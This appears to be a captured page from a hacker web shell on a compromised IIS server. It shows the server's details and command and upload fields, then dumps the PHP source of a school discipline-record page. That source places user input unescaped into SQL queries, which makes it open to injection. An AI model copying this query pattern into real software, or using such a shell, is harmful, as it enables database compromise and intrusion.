Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.117.232.215
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/data_ssdm_hip.php
<?php session_start(); ?>
<?php require_once('Connections/mentorpbs.php'); ?>


<?php
    if (!isset($_SESSION)) {
      session_start();
    }
    $MM_authorizedUsers = "";
    $MM_donotCheckaccess = "true";

    // *** Restrict Access To Page: Grant or deny access to this page
    function isAuthorized($strUsers, $strGroups, $UserName, $UserGroup) { 
      // For security, start by assuming the visitor is NOT authorized. 
      $isValid = False; 

      // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. 
      // Therefore, we know that a user is NOT logged in if that Session variable is blank. 
      if (!empty($UserName)) { 
        // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. 
        // Parse the strings into arrays. 
        $arrUsers = Explode(",", $strUsers); 
        $arrGroups = Explode(",", $strGroups); 
        if (in_array($UserName, $arrUsers)) { 
          $isValid = true; 
        } 
        // Or, you may restrict access to only certain users based on their username. 
        if (in_array($UserGroup, $arrGroups)) { 
          $isValid = true; 
        } 
        if (($strUsers == "") && true) { 
          $isValid = true; 
        } 
      } 
      return $isValid; 
    }

    $MM_restrictGoTo = "../login_maklumat_lly.php";
    if (!((isset($_SESSION['MM_Username'])) && (isAuthorized("",$MM_authorizedUsers, $_SESSION['MM_Username'], $_SESSION['MM_UserGroup'])))) {   
      $MM_qsChar = "?";
      $MM_referrer = $_SERVER['PHP_SELF'];
      if (strpos($MM_restrictGoTo, "?")) $MM_qsChar = "&";
      if (isset($QUERY_STRING) && strlen($QUERY_STRING) > 0) 
      $MM_referrer .= "?" . $QUERY_STRING;
      $MM_restrictGoTo = $MM_restrictGoTo. $MM_qsChar . "accesscheck=" . urlencode($MM_referrer);
      header("Location: ". $MM_restrictGoTo); 
      exit;
    }

    

?>

<?php

    $colname_Recordset_tingkahlaku = "-1";
    if (isset($_GET['list_kategorikes'])) {
      $colname_Recordset_tingkahlaku = $_GET['list_kategorikes'];
    }

    $colname_Recordset_tingkahlaku = "-1";
    if (isset($_GET['list_kategorikes'])) {
      $colname_Recordset_tingkahlaku = $_GET['list_kategorikes'];
    }
	
    mysqli_select_db($mentorpbs,$database_mentorpbs);
    $query_Recordset_tingkahlaku = "SELECT * FROM tingkahlaku WHERE tingkahlaku = '$colname_Recordset_tingkahlaku'";
    $Recordset_tingkahlaku = mysqli_query($mentorpbs,$query_Recordset_tingkahlaku) or die(mysqli_error());
    $row_Recordset_tingkahlaku = mysqli_fetch_assoc($Recordset_tingkahlaku);
    $totalRows_Recordset_tingkahlaku = mysqli_num_rows($Recordset_tingkahlaku);
?>

<?php require_once('Connections/mentorpbs.php'); ?>
<?php
    $currentPage = $_SERVER["PHP_SELF"];

    $queryString_Recordset_tingkahlaku = "";
    if (!empty($_SERVER['QUERY_STRING'])) {
      $params = explode("&", $_SERVER['QUERY_STRING']);
      $newParams = array();
      foreach ($params as $param) {
        if (stristr($param, "pageNum_Recordset_tingkahlaku") == false && 
            stristr($param, "totalRows_Recordset_tingkahlaku") == false) {
          array_push($newParams, $param);
        }
      }
      if (count($newParams) != 0) {
        $queryString_Recordset_tingkahlaku = "&" . htmlentities(implode("&", $newParams));
      }
    }
    $queryString_Recordset_tingkahlaku = sprintf("&totalRows_Recordset_tingkahlaku=%d%s", $totalRows_Recordset_tingkalaku, $queryString_Recordset_tingkahlaku);
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>Data SSDM</title>

        <style type="text/css">
        <!--
        .style1 {
          font-size: 24px;
          color: #0000FF;
        }

		.style3 {color: #0000FF}

        .header {
                padding: 0px 0px;
            }

            .content {
                padding: 16px;
            }

            .sticky {
                position: fixed;
                top: 0;
                width: 100%;
            }

            .sticky + .content {
                padding-top: 102px;
            }   

		div{
			width:100%;
			height:auto;
		}
		
        -->
        </style>

    </head>

    <body>

        <!-- ***** bind header to freeze id -->
        <div class="header" id="myHeader">
            <?php include('smheader03_data_murid_hip.php') ?>
        </div>    
 
        <!-- ***** Kandungan akan skrol -->
        <div class="content">


        <div align="center" class="style1">MAKLUMAT SSDM</div>
        <p>&nbsp;</p>
        <form id="form1" name="form1" method="get" action="">
            <label>
                <div align="center">
                    
					<select name="list_kategorikes" id="list_kategorikes" style="width: auto;">
						<option value="-" selected="selected">-</option>
					
					<?php
					
						mysqli_select_db($mentorpbs,$database_mentorpbs);
						$query_Recordset_ketegorikes = "SELECT * FROM kategori_ssdm";
						$Recordset_ketegorikes = mysqli_query($mentorpbs,$query_Recordset_ketegorikes) or die(mysqli_error());
						

						while ($row_Recordset_ketegorikes = mysqli_fetch_assoc($Recordset_ketegorikes)) {
							
					?>
								<option value = "<?php echo $row_Recordset_ketegorikes['kategorikes']; ?>">
								<?php echo $row_Recordset_ketegorikes['kategorikes']; ?>
								</option>
								
								
								
					<?php
																								}
					?>
						
                    </select>					

					
                    <label>
                        <input type="submit" name="button_cari" id="button_cari" value="CARI" />
                    </label>
                </div>
            </label>
        
        </form>


		<!-- ***** get kodkat from combobox selected ketegorikes -->
        <p align="center" class="style1">SENARAI KES SALAH LAKU
		<?php
			
			mysqli_select_db($mentorpbs,$database_mentorpbs);
			$query_Recordset_kodkat = "SELECT * FROM kategori_ssdm WHERE kategorikes = '$colname_Recordset_tingkahlaku'";
			$Recordset_kod = mysqli_query($mentorpbs,$query_Recordset_kodkat) or die(mysqli_error());						  
			$row_Recordset_kodkat = mysqli_fetch_assoc($Recordset_kod);
			$colname_recordset_kodkat= $row_Recordset_kodkat['kodkat'];		
	
			echo "- " , $colname_Recordset_tingkahlaku , "- " , $colname_recordset_kodkat;
		?>


		<!-- ***** get recordset from tingkahlaku based on kodkat above --> 		
		<?php
		
			mysqli_select_db($mentorpbs,$database_mentorpbs);
			$query_Recordset_keterangan = "SELECT * FROM tingkahlaku WHERE kodkat = '$colname_recordset_kodkat'";
			$Recordset_keterangan = mysqli_query($mentorpbs,$query_Recordset_keterangan) or die(mysqli_error());						  
			$row_Recordset_keterangan = mysqli_fetch_assoc($Recordset_keterangan);
			$totalRows_Recordset_keterangan = mysqli_num_rows($Recordset_keterangan);
			
		?>		
		
		
		
		
        <!-- ***** Kandungan akan skrol -->
        <div class="content">

        <table border="1" align="center">
            <tr>
                <td width="400">
                    <div align="center" class="style3">TINGKAH LAKU</div>
                </td>

                <td width="25">
                    <div align="center"><span class="style3">KOD KES</span></div>
                </td>

            </tr>

            <?php do { ?>

                          <tr>
								<td>
									<div align="center"><?php echo $row_Recordset_keterangan['tingkahlaku']; ?></div>
								</td>

								<td>
									<div align="center">
										<a href="detail_sop_hip.php?recordID=<?php echo $row_Recordset_keterangan['kodkes']; ?>"> <?php echo $row_Recordset_keterangan['kodkes']; ?>&nbsp; </a> 
									</div>
								</td>
                    
				          </tr>

                          <?php } while ($row_Recordset_keterangan = mysqli_fetch_assoc($Recordset_keterangan)); ?>
        
        </table>
		
        <div align="center"><br />
			<?php echo $totalRows_Recordset_keterangan ?> Records Total </div>

        </div>
        <!-- Skrol kandungan -->		
		
 	
		
			<p align="center">
			<p align="center"><a href="info_hip.php">KEMBALI</a>

		</div>

    </body>

    <!-- Script to execute freeze -->
    <script>
        window.onscroll = function() {myFunction()};

            var header = document.getElementById("myHeader");
            var sticky = header.offsetTop;

            function myFunction() {
                if (window.pageYOffset > sticky) {
                                                    header.classList.add("sticky");
                                                } else {
                                                        header.classList.remove("sticky");
                                                        }
                                    }
    </script>

</html>

<?php
    mysqli_free_result($Recordset_tingkahlaku);
	mysqli_free_result($Recordset_keterangan);
?>

Anon7 - 2022
AnonSec Team